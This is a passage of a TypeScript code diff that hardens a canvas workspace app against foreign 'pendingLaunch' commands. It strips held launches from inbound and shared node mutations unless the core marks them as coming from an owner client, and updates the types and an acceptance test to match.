}
/** Node id → the exec values that stay on this machine. */
@@ -67,11 +77,18 @@ export function safeSessionProgram(shell: string | undefined): string | undefine
* The values survive on this machine via `localNodeExec` (below); what leaves for git/the remote
* host carries no command of any kind.
*/
-function stripNodeExec(n: CanvasNodeState): CanvasNodeState {
- if (n.shell === undefined && n.ssh?.extraArgs === undefined && n.ssh?.execTrusted === undefined)
+function stripNodeExec(n: CanvasNodeState, keepLaunch = false): CanvasNodeState {
+ const launch = !keepLaunch && n.pendingLaunch !== undefined
+ if (
+ n.shell === undefined &&
+ n.ssh?.extraArgs === undefined &&
+ n.ssh?.execTrusted === undefined &&
+ !launch
+ )
return n
const out: CanvasNodeState = { ...n }
delete out.shell
+ if (launch) delete out.pendingLaunch
if (out.ssh) {
// `execTrusted` goes with the value it vouches for. It is a MACHINE-LOCAL provenance marker:
// if it could ride a document or a wire frame, a hostile one would simply set it to true.
@@ -82,7 +99,21 @@ function stripNodeExec(n: CanvasNodeState): CanvasNodeState {
}
export function stripSharedNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {
- return nodes.map(stripNodeExec)
+ return nodes.map((n) => stripNodeExec(n))
+}
+
+/**
+ * What a renderer may CAST on `canvas:mut`: the shared strip, except that a held launch rides along.
+ *
+ * The cast goes to this machine's own core, not to a teammate: the reflector (core/canvas-sync.ts)
+ * decides per RECIPIENT whether a `pendingLaunch` may travel on. It passes one on only from an OWNER
+ * client (this machine's app window, or a Server Edition browser tab the session cookie
+ * authenticated) to another owner client, marked `origin: 'core'`, and strips it for everybody else.
+ * Owner→owner sync is what keeps two Server Edition tabs from both typing the same launch: the tab
+ * that claims it (`attempted: true`) must reach the other before that one's loop runs.
+ */
+export function stripCastNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {
+ return nodes.map((n) => stripNodeExec(n, true))
}
/**
@@ -100,8 +131,26 @@ export function stripSharedNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[]
* program to run here, which ssh options to pass here), and neither is meaningful on a canvas that
* is merely being mirrored. So they are dropped at ingest, on every surface.
*/
-export function sanitizeInboundNode(node: CanvasNodeState): CanvasNodeState {
- return stripNodeExec(node)
+export function sanitizeInboundNode(node: CanvasNodeState, trustLaunch = false): CanvasNodeState {
+ return stripNodeExec(node, trustLaunch)
+}
+
+/**
+ * Whether an inbound mutation's `pendingLaunch` may be taken as-is. Only the core sets
+ * `origin: 'core'` (the reflector deletes a client-supplied one, and adds it only for a mutation that
+ * came from an OWNER client or from the core itself, sent to an owner client). Absent = the node's
+ * held launch is not the sender's to set: ours is carried, theirs is dropped.
+ */
+export function mutationTrustsLaunch(m: { origin?: unknown }): boolean {
+ return m.origin === 'core'
+}
+
+/** A copy of `m` without a core `origin` — for a receiver that must not trust its transport (a relay
+ * tab: the mutation came from ANOTHER machine's core, which can put anything on the wire). */
+export function withoutCoreOrigin<T extends { origin?: unknown }>(m: T): T {
+ if (m.origin === undefined) return m
+ const { origin: _origin, ...rest } = m
+ return rest as T
}
/**
@@ -115,23 +164,29 @@ export function sanitizeInboundNode(node: CanvasNodeState): CanvasNodeState {
*/
export function carryLocalNodeExec(
prev: CanvasNodeState | undefined,
- next: CanvasNodeState
+ next: CanvasNodeState,
+ trustLaunch = false
): CanvasNodeState {
if (!prev) return next
const extraArgs = prev.ssh?.extraArgs
- if (prev.shell === undefined && extraArgs === undefined) return next
+ // A trusted (owner/core) mutation is authoritative for the held launch, INCLUDING its absence:
+ // that is how a delivered launch is cleared on every owner client.
+ const launch = trustLaunch ? undefined : prev.pendingLaunch
+ if (prev.shell === undefined && extraArgs === undefined && launch === undefined) return next
const out: CanvasNodeState = { ...next }
if (prev.shell !== undefined) out.shell = prev.shell
+ if (launch !== undefined) out.pendingLaunch = launch
if (extraArgs !== undefined && out.ssh)
out.ssh = { ...out.ssh, extraArgs, execTrusted: prev.ssh?.execTrusted }
return out
}
-/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq` — are preserved). */
-export function sanitizeInboundMutation<T extends { op: 'upsert' | 'remove' }>(m: T): T {
+/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq` — are preserved).
+ * `keepLaunch` is for the reflector alone, and only for an OWNER sender (see `stripCastNodeExec`). */
+export function sanitizeInboundMutation<T extends CanvasMutation>(m: T, keepLaunch = false): T {
if (m.op !== 'upsert') return m
const up = m as unknown as { node: CanvasNodeState }
- const node = sanitizeInboundNode(up.node)
+ const node = sanitizeInboundNode(up.node, keepLaunch)
return node === up.node ? m : ({ ...m, node } as T)
}
@@ -156,7 +211,11 @@ export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | unde
const extraArgs = n.ssh?.extraArgs
if (extraArgs && (n.ssh?.execTrusted || !sshExtraArgsEnableLocalExec(extraArgs)))
entry.sshExtraArgs = extraArgs
- if (entry.shell || entry.sshExtraArgs) map[n.id] = entry
+ // A held launch in the live nodes was armed here: every inbound path drops a foreign one
+ // (`sanitizeInboundNode`, `applyLocalNodeExec`), so what reaches this collector is ours.
+ const pending = normalizePendingLaunch(n.pendingLaunch)
+ if (pending) entry.pendingLaunch = pending
+ if (entry.shell || entry.sshExtraArgs || entry.pendingLaunch) map[n.id] = entry
}
return Object.keys(map).length ? map : undefined
}
@@ -179,6 +238,13 @@ export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | unde
*
* `shell` is still validated: it has no producer, so anything there is either junk or an attack,
* and blessing a value the exec site would refuse anyway buys nothing.
+ *
+ * `pendingLaunch` is deliberately NEVER hoisted. Its provenance cannot be told apart: a file written
+ * by an older build of THIS machine and one a hostile repo committed look identical, and the
+ * `execMigrated` flag was already set on every existing entry before `pendingLaunch` joined the
+ * boundary, so "already referenced" proves nothing about it. Failing closed costs a user who
+ * upgrades with armed nodes their held launch (the node shows no QUEUED badge; re-issue it or type
+ * the command); failing open runs a stranger's command.
*/
export function hoistLegacyNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {
const map: LocalNodeExecMap = {}
@@ -204,8 +270,13 @@ export function applyLocalNodeExec(
): CanvasNodeState[] {
return nodes.map((n) => {
const mine = local?.[n.id]
- const out: CanvasNodeState = stripNodeExec(n)
+ // A fresh object: `stripNodeExec` returns its INPUT untouched when there is nothing to strip, and
+ // the writes below must never reach back into the caller's (parsed file's) node.
+ const out: CanvasNodeState = { ...stripNodeExec(n) }
if (mine?.shell) out.shell = mine.shell
+ // workspace.json is hand-editable too: re-validate the shape, as the renderer's serializers do.
+ const pending = normalizePendingLaunch(mine?.pendingLaunch)
+ if (pending) out.pendingLaunch = pending
if (out.ssh && mine?.sshExtraArgs) {
// Ours: it came out of the machine-local index, so the exec site may honor an option like
// ProxyCommand (a jump host is a legitimate thing to have configured).
diff --git a/src/shared/types.ts b/src/shared/types.ts
index f8dfbdb9d..033dca12a 100644
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@ -649,11 +649,15 @@ export interface CanvasState {
* that echo is the ACK that tells the sender where its edit landed in the total order).
* - `seq` is stamped by the reflector (src/core/canvas-sync.ts) and is the TOTAL ORDER. It is
* server-authoritative: a client-supplied `seq` is overwritten at ingest, never trusted.
+ * - `origin: 'core'` is ALSO reflector-authoritative: a client-supplied one is deleted at ingest.
+ * The core adds it only on a copy that came from an OWNER client (or the core itself) and goes to
+ * an owner client, and it is the ONE thing that lets a receiver take the node's machine-local
+ * `pendingLaunch` as sent (@shared/node-exec `mutationTrustsLaunch`).
* The relay's host↔client mirror (src/main/remote) uses the same vocabulary and simply omits both.
*/
export type CanvasMutation =
- | { op: 'upsert'; node: CanvasNodeState; src?: string; seq?: number }
- | { op: 'remove'; id: string; src?: string; seq?: number }
+ | { op: 'upsert'; node: CanvasNodeState; src?: string; seq?: number; origin?: 'core' }
+ | { op: 'remove'; id: string; src?: string; seq?: number; origin?: 'core' }
/** Canvas pan/zoom state. */
export interface Viewport {
diff --git a/test/acceptance/open-project-chain.test.ts b/test/acceptance/open-project-chain.test.ts
index 0422585d1..af9c09e1c 100644
--- a/test/acceptance/open-project-chain.test.ts
+++ b/test/acceptance/open-project-chain.test.ts
@@ -136,7 +136,7 @@ describe('the open-project → targeted-open chain', () => {
live.data.initialCommand = 'claude "work in repoA"'
const armedState = flowToNodeStates([armForColdOpen(live)])[0]
expect(
- useProjects.getState().applyNodeMutation(r1.project.id, { op: 'upsert', node: armedState })
+ useProjects.getState().applyOwnNodeMutation(r1.project.id, { op: 'upsert', node: armedState })
).toBe(true)
const stored = useProjects
.getState()